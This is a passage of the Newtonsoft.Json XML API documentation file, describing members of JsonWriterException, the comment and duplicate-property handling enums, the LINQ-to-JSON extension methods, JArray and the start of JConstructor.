name=\"M:Newtonsoft.Json.JsonWriterException.#ctor(System.String,System.String,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonWriterException\"/> class\n            with a specified error message, JSON path and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"path\">The path to the JSON where the error occurred.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.CommentHandling\">\n            <summary>\n            Specifies how JSON comments are handled when loading JSON.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.CommentHandling.Ignore\">\n            <summary>\n            Ignore comments.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.CommentHandling.Load\">\n            <summary>\n            Load comments as a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> with type <see cref=\"F:Newtonsoft.Json.Linq.JTokenType.Comment\"/>.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.DuplicatePropertyNameHandling\">\n            <summary>\n            Specifies how duplicate property names are handled when loading JSON.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.DuplicatePropertyNameHandling.Replace\">\n            <summary>\n            Replace the existing value when there is a duplicate property. The value of the last property in the JSON object will be used.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.DuplicatePropertyNameHandling.Ignore\">\n            <summary>\n            Ignore the new value when there is a duplicate property. The value of the first property in the JSON object will be used.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.DuplicatePropertyNameHandling.Error\">\n            <summary>\n            Throw a <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/> when a duplicate property is encountered.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.Extensions\">\n            <summary>\n            Contains the LINQ to JSON extension methods.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Ancestors``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns a collection of tokens that contains the ancestors of every token in the source collection.\n            </summary>\n            <typeparam name=\"T\">The type of the objects in source, constrained to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the ancestors of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.AncestorsAndSelf``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns a collection of tokens that contains every token in the source collection, and the ancestors of every token in the source collection.\n            </summary>\n            <typeparam name=\"T\">The type of the objects in source, constrained to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains every token in the source collection, the ancestors of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Descendants``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns a collection of tokens that contains the descendants of every token in the source collection.\n            </summary>\n            <typeparam name=\"T\">The type of the objects in source, constrained to <see cref=\"T:Newtonsoft.Json.Linq.JContainer\"/>.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the descendants of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.DescendantsAndSelf``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns a collection of tokens that contains every token in the source collection, and the descendants of every token in the source collection.\n            </summary>\n            <typeparam name=\"T\">The type of the objects in source, constrained to <see cref=\"T:Newtonsoft.Json.Linq.JContainer\"/>.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains every token in the source collection, and the descendants of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Properties(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JObject})\">\n            <summary>\n            Returns a collection of child properties of every object in the source collection.\n            </summary>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> that contains the properties of every object in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Values(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JToken},System.Object)\">\n            <summary>\n            Returns a collection of child values of every object in the source collection with the given key.\n            </summary>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <param name=\"key\">The token key.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the values of every token in the source collection with the given key.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Values(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JToken})\">\n            <summary>\n            Returns a collection of child values of every object in the source collection.\n            </summary>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the values of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Values``1(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JToken},System.Object)\">\n            <summary>\n            Returns a collection of converted child values of every object in the source collection with the given key.\n            </summary>\n            <typeparam name=\"U\">The type to convert the values to.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <param name=\"key\">The token key.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> that contains the converted values of every token in the source collection with the given key.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Values``1(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JToken})\">\n            <summary>\n            Returns a collection of converted child values of every object in the source collection.\n            </summary>\n            <typeparam name=\"U\">The type to convert the values to.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> that contains the converted values of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Value``1(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JToken})\">\n            <summary>\n            Converts the value.\n            </summary>\n            <typeparam name=\"U\">The type to convert the value to.</typeparam>\n            <param name=\"value\">A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> cast as a <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <returns>A converted value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Value``2(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Converts the value.\n            </summary>\n            <typeparam name=\"T\">The source collection type.</typeparam>\n            <typeparam name=\"U\">The type to convert the value to.</typeparam>\n            <param name=\"value\">A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> cast as a <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <returns>A converted value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Children``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns a collection of child tokens of every array in the source collection.\n            </summary>\n            <typeparam name=\"T\">The source collection type.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the values of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Children``2(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns a collection of converted child tokens of every array in the source collection.\n            </summary>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <typeparam name=\"U\">The type to convert the values to.</typeparam>\n            <typeparam name=\"T\">The source collection type.</typeparam>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> that contains the converted values of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.AsJEnumerable(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JToken})\">\n            <summary>\n            Returns the input typed as <see cref=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\"/>.\n            </summary>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>The input typed as <see cref=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.AsJEnumerable``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns the input typed as <see cref=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\"/>.\n            </summary>\n            <typeparam name=\"T\">The source collection type.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>The input typed as <see cref=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\"/>.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\">\n            <summary>\n            Represents a collection of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> objects.\n            </summary>\n            <typeparam name=\"T\">The type of token.</typeparam>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.IJEnumerable`1.Item(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JArray\">\n            <summary>\n            Represents a JSON array.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\LinqToJsonTests.cs\" region=\"LinqToJsonCreateParseArray\" title=\"Parsing a JSON Array from Text\" />\n            </example>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.WriteToAsync(Newtonsoft.Json.JsonWriter,System.Threading.CancellationToken,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> asynchronously.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous write operation.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.LoadAsync(Newtonsoft.Json.JsonReader,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously loads a <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>. \n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> representing the asynchronous load. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/> property contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.LoadAsync(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously loads a <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>. \n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> representing the asynchronous load. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/> property contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JArray.ChildrenTokens\">\n            <summary>\n            Gets the container's children tokens.\n            </summary>\n            <value>The container's children tokens.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JArray.Type\">\n            <summary>\n            Gets the node type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.#ctor(Newtonsoft.Json.Linq.JArray)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> class from another <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> object.\n            </summary>\n            <param name=\"other\">A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> object to copy from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.#ctor(System.Object[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> class with the specified content.\n            </summary>\n            <param name=\"content\">The contents of the array.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.#ctor(System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> class with the specified content.\n            </summary>\n            <param name=\"content\">The contents of the array.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Load(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Loads an <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>. \n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Load(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Loads an <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>. \n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Parse(System.String)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from a string that contains JSON.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> populated from the string that contains JSON.</returns>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\LinqToJsonTests.cs\" region=\"LinqToJsonCreateParseArray\" title=\"Parsing a JSON Array from Text\" />\n            </example>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Parse(System.String,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from a string that contains JSON.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> populated from the string that contains JSON.</returns>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\LinqToJsonTests.cs\" region=\"LinqToJsonCreateParseArray\" title=\"Parsing a JSON Array from Text\" />\n            </example>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.FromObject(System.Object)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from an object.\n            </summary>\n            <param name=\"o\">The object that will be used to create <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> with the values of the specified object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.FromObject(System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from an object.\n            </summary>\n            <param name=\"o\">The object that will be used to create <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <param name=\"jsonSerializer\">The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> that will be used to read the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> with the values of the specified object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JArray.Item(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JArray.Item(System.Int32)\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> at the specified index.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.IndexOf(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Determines the index of a specific item in the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </summary>\n            <param name=\"item\">The object to locate in the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <returns>\n            The index of <paramref name=\"item\"/> if found in the list; otherwise, -1.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Insert(System.Int32,Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Inserts an item to the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> at the specified index.\n            </summary>\n            <param name=\"index\">The zero-based index at which <paramref name=\"item\"/> should be inserted.</param>\n            <param name=\"item\">The object to insert into the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <exception cref=\"T:System.ArgumentOutOfRangeException\">\n            <paramref name=\"index\"/> is not a valid index in the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </exception>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.RemoveAt(System.Int32)\">\n            <summary>\n            Removes the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> item at the specified index.\n            </summary>\n            <param name=\"index\">The zero-based index of the item to remove.</param>\n            <exception cref=\"T:System.ArgumentOutOfRangeException\">\n            <paramref name=\"index\"/> is not a valid index in the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </exception>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.GetEnumerator\">\n            <summary>\n            Returns an enumerator that iterates through the collection.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.Collections.Generic.IEnumerator`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that can be used to iterate through the collection.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Add(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Adds an item to the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </summary>\n            <param name=\"item\">The object to add to the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Clear\">\n            <summary>\n            Removes all items from the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Contains(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Determines whether the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> contains a specific value.\n            </summary>\n            <param name=\"item\">The object to locate in the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <returns>\n            <c>true</c> if <paramref name=\"item\"/> is found in the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.CopyTo(Newtonsoft.Json.Linq.JToken[],System.Int32)\">\n            <summary>\n            Copies the elements of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> to an array, starting at a particular array index.\n            </summary>\n            <param name=\"array\">The array.</param>\n            <param name=\"arrayIndex\">Index of the array.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JArray.IsReadOnly\">\n            <summary>\n            Gets a value indicating whether the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> is read-only.\n            </summary>\n            <returns><c>true</c> if the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> is read-only; otherwise, <c>false</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Remove(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Removes the first occurrence of a specific object from the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </summary>\n            <param name=\"item\">The object to remove from the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <returns>\n            <c>true</c> if <paramref name=\"item\"/> was successfully removed from the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>; otherwise, <c>false</c>. This method also returns <c>false</c> if <paramref name=\"item\"/> is not found in the original <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JConstructor\">\n            <summary>\n            Represents a JSON constructor.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.WriteToAsync(Newtonsoft.Json.JsonWriter,System.Threading.CancellationToken,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> asynchronously.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous write operation.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.LoadAsync(Newtonsoft.Json.JsonReader,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously loads a <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/>.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>\n            A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous load. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns a <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.LoadAsync(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously loads a <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>\n            A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous load. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns a <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JConstructor.ChildrenTokens\">\n            <summary>\n            Gets the container's children tokens.\n            </summary>\n            <value>The container's children tokens.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JConstructor.Name\">\n            <summary>\n            Gets or sets the name of this constructor.\n            </summary>\n            <value>The constructor name.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JConstructor.Type\">\n            <summary>\n            Gets the node type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.#ctor(Newtonsoft.Json.Linq.JConstructor)\">\n       